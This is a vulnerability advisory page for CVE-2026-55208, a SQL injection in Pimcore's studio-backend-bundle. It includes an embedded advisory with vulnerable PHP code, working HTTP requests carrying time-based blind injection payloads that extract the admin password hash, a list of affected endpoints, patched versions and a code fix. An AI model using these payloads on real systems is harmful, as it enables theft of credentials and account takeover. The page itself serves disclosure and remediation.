CVE-2026-55208: Pimcore SQL Injection Vulnerability
HIGHCVE-2026-55208 is a HIGH (CVSS 7.7) sql injection vulnerability (CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')) affecting Pimcore libraries in the Packagist ecosystem. The issue involves sql injection via column name in datefilter allows authenticated user to extract arbitrary database data including admin password hashes. Remediation is available by upgrading affected packages to version 2025.4.6, 2026.1.6.
CVE-2026-55208 at a Glance
Security Impact
CVSS: 7.7
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N).
How to Fix CVE-2026-55208
To remediate this vulnerability, upgrade all affected Pimcore dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade pimcore/studio-backend-bundle to 2025.4.6
Upgrade pimcore/studio-backend-bundle to 2026.1.6
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for pimcore/studio-backend-bundle
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-55208, inspect your project dependencies for Pimcore:
inspect dependencies for pimcore/studio-backend-bundle
Analyze the terminal output to locate any version of Pimcore in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2025.4.6), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection'), where the product constructs all or part of an sql command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended sql command when it is sent to a downstream component. without sufficient removal or quoting of sql syntax in user-controllable inputs, the generated sql query can cause those inputs to be interpreted as sql instead of ordinary user data. In Pimcore, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-55208 Affected Pimcore Versions
2 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
pimcore/studio-backend-bundle
|
Packagist |
< 2025.4.6
|
2025.4.6
|
|
pimcore/studio-backend-bundle
|
Packagist |
≥ 2026.1.0
< 2026.1.6
|
2026.1.6
|
References
Frequently Asked Questions
What is CVE-2026-55208?
Which Pimcore versions are affected?
What version fixes CVE-2026-55208?
Is pimcore/studio-backend-bundle affected?
What is the CVSS score of CVE-2026-55208?
What CWE is associated with CVE-2026-55208?
How can I check Packagist dependencies for CVE-2026-55208?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-79cw-hfcc-7mw9",
"modified" : "2026-08-28T19:04:54Z",
"published" : "2026-08-28T19:04:54Z",
"aliases" : [ "CVE-2026-55208" ],
"summary" : "Pimcore: SQL Injection via Column Name in DateFilter allows authenticated user to extract arbitrary database data including admin password hashes",
"details" : "## Summary\n\nAn authenticated user extracts the admin password hash and any other database content through a time-based blind SQL injection in the `DateFilter` column key parameter. The `POST /pimcore-studio/api/website-settings` endpoint (and 11 other listing endpoints) accepts a `columnFilters` array where the `key` field is interpolated directly into SQL with only manual backtick wrapping. The `DateFilter` uses fixed named parameters (`:minTime`, `:maxTime`), so the injected column name is not subject to PDO named parameter validation. An attacker breaks out of the backtick quoting with a backtick character and appends arbitrary SQL, including `SLEEP()` for time-based extraction and `IF()` subqueries for conditional data exfiltration.\n\n## Vulnerability Details\n\n### Exploitable: DateFilter with Fixed Named Parameters\n\n`src/Listing/Filter/DateFilter.php` lines 49-57 handle the `on` operator. The column key comes from user input and is placed in the SQL with manual backtick wrapping, while the named parameters are hardcoded as `:minTime` and `:maxTime`:\n\n```php\n$key = $column->getKey(); // user-controlled, no validation\n$dateCondition = '`' . $key . '` ' . ' BETWEEN :minTime AND :maxTime';\n$listing->addConditionParam($dateCondition, ['minTime' => $value, 'maxTime' => ...]);\n```\n\nBecause the named parameters are fixed strings, PDO accepts the binding regardless of what the column name contains.\n\n### Same Pattern in Note FilterService\n\n`src/Note/Service/FilterService.php` lines 64-67:\n\n```php\n$dateCondition = '`' . $filter[$propertyKey] . '` ' . ' BETWEEN :minTime AND :maxTime';\n$list->addConditionParam($dateCondition, ['minTime' => $value, 'maxTime' => $maxTime]);\n```\n\n### No Validation on Column Key\n\n`src/MappedParameter/Filter/ColumnFilter.php` accepts any string as the `key` with zero validation or allowlisting.\n\n### Why Backtick Wrapping is Not Escaping\n\nManual backtick wrapping (`` '`' . $key . '`' ``) does not escape internal backtick characters. `quoteIdentifier()` doubles them, manual wrapping does not. A backtick in the key breaks out of the quoting and the `-- ` (double dash space) comments out the remainder of the query:\n\n**Input:** ``key = \"id` BETWEEN 0 AND 99999999999) AND SLEEP(3)-- \"``\n\n**Produces:**\n```sql\n(`id` BETWEEN 0 AND 99999999999) AND SLEEP(3)-- ` BETWEEN :minTime AND :maxTime)\n```\n\nEverything after `-- ` is a SQL comment. The injected `SLEEP(3)` executes unconditionally.\n\n### Contrast with Safe Patterns in the Same Codebase\n\n- `LogRepository.php` line 202: uses `$this->dbResolver->get()->quoteIdentifier()` (safe)\n- `ClassificationStore/Configuration/KeyRepository.php`: uses `ALLOWED_SORT_KEYS` allowlist (safe)\n\n### Note on EqualsFilter/LikeFilter\n\nThe `EqualsFilter` and `LikeFilter` have the same manual backtick wrapping, but they reuse the column name as the PDO named parameter (`:columnName`). PDO requires named parameters to match `[a-zA-Z0-9_]`, so injection characters cause a parameter binding error before SQL execution. These filters are not exploitable through this vector. The DateFilter is exploitable because it uses independent fixed parameter names.\n\n## Steps to Reproduce\n\nTested on Pimcore 12.x (2026.x branch, latest commit `82f9ff6`), Docker, PHP 8.4, MariaDB 10.11.\n\n### Step 1: Baseline request (no injection)\n\n```http\nPOST /pimcore-studio/api/website-settings HTTP/1.1\nHost: localhost:8095\nContent-Type: application/json\nCookie: PHPSESSID=<AUTHENTICATED_SESSION>\n\n{\"page\":1,\"pageSize\":10}\n```\n\n**Response:** `HTTP/1.1 200 OK` -- `totalItems: 1` -- **0.07 seconds**\n\n<img width=\"1666\" height=\"616\" alt=\"image\" src=\"https://github.com/user-attachments/assets/93dfbb22-3915-4abb-b569-13c9f3cea368\" />\n\n\n### Step 2: Unconditional SLEEP(3) injection\n\n```http\nPOST /pimcore-studio/api/website-settings HTTP/1.1\nHost: localhost:8095\nContent-Type: application/json\nCookie: PHPSESSID=<AUTHENTICATED_SESSION>\n\n{\"page\":1,\"pageSize\":10,\"filters\":{\"columnFilters\":[{\"key\":\"id` BETWEEN 0 AND 99999999999) AND SLEEP(3)-- \",\"type\":\"date\",\"filterValue\":{\"operator\":\"on\",\"value\":\"2024-01-01\"}}]}}\n```\n\n**Response:** `HTTP/1.1 200 OK` -- `totalItems: 0` -- **6.07 seconds**\n\n<img width=\"1631\" height=\"898\" alt=\"image\" src=\"https://github.com/user-attachments/assets/97d04b04-4fb2-4fd4-95b8-e50d0521de97\" />\n\n<img width=\"1920\" height=\"625\" alt=\"image\" src=\"https://github.com/user-attachments/assets/6000a604-b189-4f99-8648-d8ec36a59094\" />\n\n\nThe 6-second delay (3s x 2 queries: SELECT + COUNT) confirms SQL injection. The MySQL general log shows the injected SQL executed:\n\n```sql\nSELECT id FROM website_settings WHERE (`id` BETWEEN 0 AND 99999999999) AND SLEEP(3)-- ` BETWEEN :minTime AND :maxTime) ORDER BY `id` ASC LIMIT 50\n```\n\n### Step 3: Conditional SLEEP proving data extraction (TRUE case)\n\nThis query tests whether the admin password hash starts with `$2y$` (bcrypt, hex `0x24327924`). If true, the server sleeps 3 seconds. If false, no delay.\n\n```http\nPOST /pimcore-studio/api/website-settings HTTP/1.1\nHost: localhost:8095\nContent-Type: application/json\nCookie: PHPSESSID=<AUTHENTICATED_SESSION>\n\n{\"page\":1,\"pageSize\":10,\"filters\":{\"columnFilters\":[{\"key\":\"id` BETWEEN 0 AND 99999999999) AND IF((SELECT SUBSTRING(password,1,4) FROM users WHERE id=1)=0x24327924,SLEEP(3),0)-- \",\"type\":\"date\",\"filterValue\":{\"operator\":\"on\",\"value\":\"2024-01-01\"}}]}}\n```\n\n**Response:** `HTTP/1.1 200 OK` -- **6.07 seconds** (TRUE: admin password hash starts with `$2y$`)\n\n<img width=\"1611\" height=\"706\" alt=\"image\" src=\"https://github.com/user-attachments/assets/b9f12ca4-3459-4ed6-8a08-c64f99f28d85\" />\n\n\n<img width=\"1917\" height=\"570\" alt=\"image\" src=\"https://github.com/user-attachments/assets/1c5eca3d-f66b-4630-bea9-69c93ffa1a6f\" />\n\n\n\n### Step 4: Conditional SLEEP (FALSE case, wrong guess)\n\nSame query but testing for `XXXX` (hex `0x58585858`) instead:\n\n```http\nPOST /pimcore-studio/api/website-settings HTTP/1.1\nHost: localhost:8095\nContent-Type: application/json\nCookie: PHPSESSID=<AUTHENTICATED_SESSION>\n\n{\"page\":1,\"pageSize\":10,\"filters\":{\"columnFilters\":[{\"key\":\"id` BETWEEN 0 AND 99999999999) AND IF((SELECT SUBSTRING(password,1,4) FROM users WHERE id=1)=0x58585858,SLEEP(3),0)-- \",\"type\":\"date\",\"filterValue\":{\"operator\":\"on\",\"value\":\"2024-01-01\"}}]}}\n```\n\n**Response:** `HTTP/1.1 200 OK` -- **0.07 seconds** (FALSE: password does not start with `XXXX`)\n\n<img width=\"1920\" height=\"496\" alt=\"image\" src=\"https://github.com/user-attachments/assets/7a27f666-a6e4-4c65-94b4-f0d22ba1db7f\" />\n\n\n### Timing comparison\n\n| Request | Payload | Response Time | Meaning |\n|---------|---------|---------------|---------|\n| Baseline | No injection | 0.07s | Normal |\n| Unconditional SLEEP | `AND SLEEP(3)` | 6.07s | Injection confirmed |\n| Conditional TRUE | `IF(password starts with $2y$, SLEEP(3), 0)` | 6.07s | Data extracted: hash is bcrypt |\n| Conditional FALSE | `IF(password starts with XXXX, SLEEP(3), 0)` | 0.07s | Control: no match, no delay |\n\nBy iterating through characters with `SUBSTRING(password, N, 1)`, an attacker extracts the full bcrypt hash for offline cracking, or extracts `passwordRecoveryToken` values for direct account takeover without cracking.\n\n## Impact\n\nAn authenticated user with `website_settings` permission (or any permission granting access to a listing endpoint with DateFilter support) extracts the full contents of any database table one character at a time through conditional time-based blind SQL injection.\n\nDirectly extractable high-value data:\n- Admin password hashes (`users.password`) for offline cracking\n- Password recovery tokens (`users.passwordRecoveryToken`) for direct account takeover via `POST /login/token`\n- Session data for session hijacking\n- All PIM product data, CMS content, and asset metadata\n\n## Affected Endpoints\n\nAll endpoints using `ListingFilter::applyFilters()` with a DateFilter `on` column filter:\n\n- `POST /pimcore-studio/api/website-settings`\n- `POST /pimcore-studio/api/notifications`\n- `POST /pimcore-studio/api/recycle-bin`\n- `POST /pimcore-studio/api/redirects`\n- `POST /pimcore-studio/api/translations/{domain}`\n- `POST /pimcore-studio/api/quantity-value/units`\n- `POST /pimcore-studio/api/properties`\n- `POST /pimcore-studio/api/classification-store/{storeId}/keys`\n- `POST /pimcore-studio/api/classification-store/{storeId}/groups`\n- `POST /pimcore-studio/api/classification-store/{storeId}/collections`\n- `GET /pimcore-studio/api/notes/{elementType}/{id}` (via Note FilterService fieldFilters)\n\n## Recommended Fix\n\nReplace manual backtick wrapping with `Doctrine\\DBAL\\Connection::quoteIdentifier()`, or implement a per-listing allowlist of valid column names:\n\n```php\n// Option 1: quoteIdentifier (doubles internal backticks)\n$db = \\Pimcore\\Db::get();\n$dateCondition = $db->quoteIdentifier($key) . ' BETWEEN :minTime AND :maxTime';\n\n// Option 2: allowlist (preferred)\nprivate const ALLOWED_COLUMNS = ['id', 'name', 'date', 'type', 'creationDate', 'modificationDate'];\nif (!in_array($key, self::ALLOWED_COLUMNS, true)) {\n throw new InvalidArgumentException('Invalid filter column');\n}\n```\n\nApply the same fix to `EqualsFilter`, `LikeFilter`, and `Note/FilterService` as defense-in-depth, even though those are currently protected by PDO named parameter validation.\n\n## Supporting Materials\n\n- Live-tested on Pimcore 12.x (2026.x branch, commit `82f9ff6`), Docker, PHP 8.4, MariaDB 10.11\n- MySQL general query log confirms injected SQL reaches the database\n- The safe pattern (`quoteIdentifier()`) exists in the same codebase in `LogRepository.php` line 202\n- Package: `pimcore/studio-backend-bundle`",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Packagist",
"name" : "pimcore/studio-backend-bundle"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "2025.4.6"
} ]
} ]
}, {
"package" : {
"ecosystem" : "Packagist",
"name" : "pimcore/studio-backend-bundle"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "2026.1.0"
}, {
"fixed" : "2026.1.6"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/pimcore/pimcore/security/advisories/GHSA-79cw-hfcc-7mw9"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-55208"
}, {
"type" : "WEB",
"url" : "https://github.com/pimcore/studio-backend-bundle/pull/1883"
}, {
"type" : "WEB",
"url" : "https://github.com/pimcore/studio-backend-bundle/commit/f532428cfbf4f5d6e299a13cedd5c29541802552"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/pimcore/pimcore"
}, {
"type" : "WEB",
"url" : "https://github.com/pimcore/studio-backend-bundle/releases/tag/v2025.4.6"
}, {
"type" : "WEB",
"url" : "https://github.com/pimcore/studio-backend-bundle/releases/tag/v2026.1.6"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-89" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-08-28T19:04:54Z",
"nvd_published_at" : "2026-07-09T21:16:56Z"
}
}